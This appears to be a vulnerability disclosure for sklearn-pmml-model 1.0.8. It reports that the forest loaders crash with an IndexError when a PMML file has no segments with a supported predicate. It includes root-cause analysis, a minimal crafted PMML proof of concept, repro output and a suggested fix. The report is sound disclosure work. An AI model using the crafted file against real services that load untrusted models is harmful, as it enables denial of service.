YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
RandomForest loader IndexError on zero valid segments (estimators_[0] on empty list) β sklearn-pmml-model
Summary
PMMLForestClassifier and PMMLForestRegressor crash with an uncaught
IndexError: list index out of range during __init__ when a malicious/degenerate
PMML file contains a <Segmentation> in which no <Segment> carries a supported
segment-level <True/> predicate. The loader counts the "valid" segments, derives
n_estimators from that count, builds an empty estimators_ list, and then
unconditionally indexes self.estimators_[0]. There is no guard that at least one
valid estimator was produced β even though the code emits its own UserWarning that
segments were ignored immediately before the crash.
- Target:
sklearn-pmml-model - Version tested:
1.0.8(pristine PyPI release,pip install sklearn-pmml-model==1.0.8) - Python: 3.13
- Crash sites:
sklearn_pmml_model/ensemble/forest.py:92(classifier),sklearn_pmml_model/ensemble/forest.py:185(regressor) - Entry points:
PMMLForestClassifier(path),PMMLForestRegressor(path), and theauto_detect_estimator(path)dispatcher. - Trigger: attacker-controlled PMML file (segment predicates), parsed at load time before any prediction β cannot be avoided by sanitizing prediction inputs.
Root cause
Both forest constructors build the estimator list from only those segments whose
direct child is a <True/> predicate (the only predicate the library supports):
# sklearn_pmml_model/ensemble/forest.py (PMMLForestClassifier.__init__)
segments = segmentation.findall('Segment')
valid_segments = [segment for segment in segments if segment.find('True') is not None]
if len(valid_segments) < len(segments):
warnings.warn(
'Warning: {} segment(s) ignored because of unsupported predicate.'
.format(len(segments) - len(valid_segments))
)
n_estimators = len(valid_segments)
RandomForestClassifier.__init__(self, n_estimators=n_estimators, n_jobs=n_jobs)
self._validate_estimator()
# ...
self.estimators_ = [get_tree(self, s) for s in valid_segments]
# ... per-tree loop over self.estimators_ (skipped when empty) ...
self.categorical = [x != -1 for x in self.estimators_[0].n_categories] # <-- line 92: IndexError
When every segment uses a different (unsupported) predicate β e.g. <False/>,
<SimplePredicate>, <CompoundPredicate> β or the <Segmentation> is empty,
valid_segments == [], so:
n_estimators = 0;RandomForestClassifier.__init__(n_estimators=0)and_validate_estimator()succeed (nofit()is ever called, so scikit-learn never rejects the zero count);- the tree-building comprehension yields
self.estimators_ = []; - the per-tree
forloop body is skipped; self.estimators_[0]on line 92 indexes element 0 of an empty list βIndexError.
The regressor path (PMMLForestRegressor.__init__) is identical, crashing at
forest.py:185 with the same self.categorical = [x != -1 for x in self.estimators_[0].n_categories].
All of the counts derive from attacker-controlled XML, and the library never checks
that at least one valid estimator exists before dereferencing estimators_[0]. The
UserWarning shows the code already recognizes the degenerate input β it just fails
to guard the subsequent access.
Proof of concept
Verified against a clean venv install of the pristine PyPI release
(sklearn-pmml-model==1.0.8, Python 3.13). Three independent demonstrations:
1. Surgical repro from the library's own example (classifier)
Start from the shipped models/rf-iris.pmml (200 <Segment> each with a
segment-level <True/>), which loads fine (n_estimators=200). Change only the
200 segment-level <True/> predicates to <False/> β every <TreeModel> left
byte-for-byte identical. valid_segments becomes empty and the loader crashes at
forest.py:92. This isolates the segment predicate as the sole cause.
2. Minimal crafted classifier (does not depend on the large example)
A single <Segment> whose predicate is <False/> plus a stub <TreeModel/>:
<?xml version="1.0"?>
<PMML version="4.4" xmlns="http://www.dmg.org/PMML-4_4">
<DataDictionary>
<DataField name="Class" optype="categorical" dataType="string">
<Value value="a"/><Value value="b"/>
</DataField>
<DataField name="x" optype="continuous" dataType="double"/>
</DataDictionary>
<MiningModel functionName="classification">
<MiningSchema>
<MiningField name="Class" usageType="target"/>
<MiningField name="x" usageType="active"/>
</MiningSchema>
<Segmentation multipleModelMethod="majorityVote">
<Segment>
<False/>
<TreeModel/>
</Segment>
</Segmentation>
</MiningModel>
</PMML>
Crashes identically at forest.py:92.
3. Regressor path
The real models/rf-cat-pima-regression.pmml (7 trees) loads OK; the same file with
its segment-level <True/> β <False/> crashes at forest.py:185.
Files in this repo
repro.pyβ full runner: neutralizes the 200<True/>predicates inrf-iris.pmml, runs the negative control + positive case, prints module/version/site/traceback.rf-valid.pmml/rf-notrue.pmml/rf-zero-valid.pmmlβ classifier negative / crafted-negative / positive corpora.rf-minimal-pos.pmmlβ minimal single-segment<False/>classifier PoC.rf-reg-zero.pmmlβ regressor positive (zero valid segments).
Run: python repro.py inside a venv with sklearn-pmml-model==1.0.8.
Captured evidence (verbatim)
module: .../site-packages/sklearn_pmml_model
version: 1.0.8
forest.py:57: UserWarning: Warning: 200 segment(s) ignored because of unsupported predicate.
warnings.warn(
surgical positive: neutralized 200 segment-level <True/> predicates
=== NEGATIVE CONTROL (200 segments, all with <True/>) ===
/home/kali/pmml_verify_tmp/sklearn-pmml-model/models/rf-iris.pmml
OK -> n_estimators = 200
=== POSITIVE (same file, segment predicates changed True->False => 0 valid segments) ===
/home/kali/hunt-workspace/pmml-8thbug/rf-zero-valid.pmml
CRASH IndexError: list index out of range
SITE sklearn_pmml_model/ensemble/forest.py line 92
Traceback (most recent call last):
File ".../ensemble/forest.py", line 92, in __init__
self.categorical = [x != -1 for x in self.estimators_[0].n_categories]
~~~~~~~~~~~~~~~~^^^
IndexError: list index out of range
--- also confirmed ---
=== MINIMAL crafted classifier (1 segment, <False/>) ===
CRASH IndexError: list index out of range | SITE sklearn_pmml_model/ensemble/forest.py line 92
=== NEG regressor (real) === OK n_estimators 7
=== POS regressor (0 valid segments) === CRASH IndexError: list index out of range | SITE sklearn_pmml_model/ensemble/forest.py line 185
Impact
Denial of service on any service/pipeline that loads untrusted PMML through the
forest loaders. The crash occurs at model-load time inside __init__, so applications
that accept user-supplied PMML models (model registries, conversion/serving pipelines,
auto_detect_estimator-based loaders) can be crashed with a tiny malformed file. A
raw IndexError also bypasses any exception handling that only anticipates the
library's own Exception('PMML model does not contain ...') validation errors.
Suggested fix
After computing valid_segments / n_estimators, raise an explicit, documented
error when n_estimators == 0 (before self.estimators_[0] is dereferenced), e.g.:
if n_estimators == 0:
raise Exception('PMML model contains no segments with a supported predicate.')
Deduplication
Distinct from prior sklearn-pmml-model findings by this reporter, which involve different code paths and crash types:
- SparseArray index/DoS issues (
sparse_array.py) β different file, DoS/index pairing. - TreeModel deep-recursion β recursion in tree parsing, not the forest segment count.
- NeuralNetwork allocation DoS, SVM coef mismatch, LogisticRegression segment OOB, TreeModel categorical bitmask overflow β different estimators / distinct roots.
This bug is specific to the forest ensemble loader deriving n_estimators from
attacker-controlled segment predicates and then unconditionally indexing
estimators_[0] when zero valid segments remain (forest.py:92 / :185). No public
CVE is known for this specific estimators_[0]-on-empty-list crash at the time of
writing.